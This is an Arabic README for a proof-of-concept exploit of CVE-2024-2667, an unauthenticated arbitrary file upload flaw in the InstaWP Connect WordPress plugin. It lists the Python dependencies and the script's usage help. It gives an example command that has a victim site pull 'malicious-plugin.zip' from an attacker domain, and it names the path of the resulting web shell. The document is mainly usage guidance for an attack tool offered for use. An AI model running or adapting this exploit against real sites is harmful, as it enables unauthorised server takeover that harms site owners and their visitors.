
استغلال PoC لثغرة CVE-2024-2667: رفع ملفات اعتباطية آليًا والوصول إلى شل عبر التحقق غير الكافي من الملفات في نقطة نهاية REST API الخاصة بإضافة InstaWP Connect في ووردبريس.
المكوّن الإضافي InstaWP Connect – 1-click WP Staging & Migration لووردبريس معرّض لرفع ملفات عشوائية بسبب عدم كفاية التحقق من الملفات في نقطة نهاية REST API /wp-json/instawp-connect/v1/config في جميع الإصدارات حتى 0.1.0.22 وما يتضمنه. وهذا يتيح للمهاجمين غير المصادَق عليهم رفع ملفات عشوائية.
| الوصف | التفاصيل | الأيقونة |
|---|---|---|
| تثبيت المكتبات المطلوبة | استخدم pip لتثبيت مكتبات بايثون الضرورية: requests و beautifulsoup4. | 🛠️ |
| أمر التثبيت | نفّذ: pip install requests beautifulsoup4. | 📥 |
| الوصف | التفاصيل | الأيقونة |
|---|---|---|
| مسار الشل | إذا نجح الرفع، سيكون الشل متاحًا على: | 🐚 |
wp-content/plugins/instawp-connect/shell.php. |
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
options:
-h, --help show this help message and exit
-up URL_PLUGIN, --url_plugin URL_PLUGIN
URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
-u URL_TARGET, --url_target URL_TARGET
URL of the target WordPress site (e.g., http://victim-domain/).
| الوصف | التفاصيل | الأيقونة |
|---|
| تنفيذ السكربت | شغّل السكربت من سطر الأوامر مع الوسائط المطلوبة. | 🚀 |
| الوسائط المطلوبة | - -up: رابط المكوّن الإضافي (مثال: http://attacker-domain/malicious-plugin.zip). | |
- -u: رابط ووردبريس الهدف (مثال: http://victim-domain/). | 🔧 | |
| مثال على الأمر | python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/ | 📜 |
| الوصف | التفاصيل | الأيقونة |
|---|
| فحص الإصدار | يفحص السكربت ملف readme.txt لتحديد إصدار المكوّن الإضافي الهدف. | 🔍 |
| الإصدار المعرّض | إذا كان الإصدار <= 0.1.0.22، يطبع السكربت: The site is vulnerable. | ⚠️ |
| الإصدار الآمن | إذا كان الإصدار > 0.1.0.22، يطبع السكربت: The site is not vulnerable. | ✅ |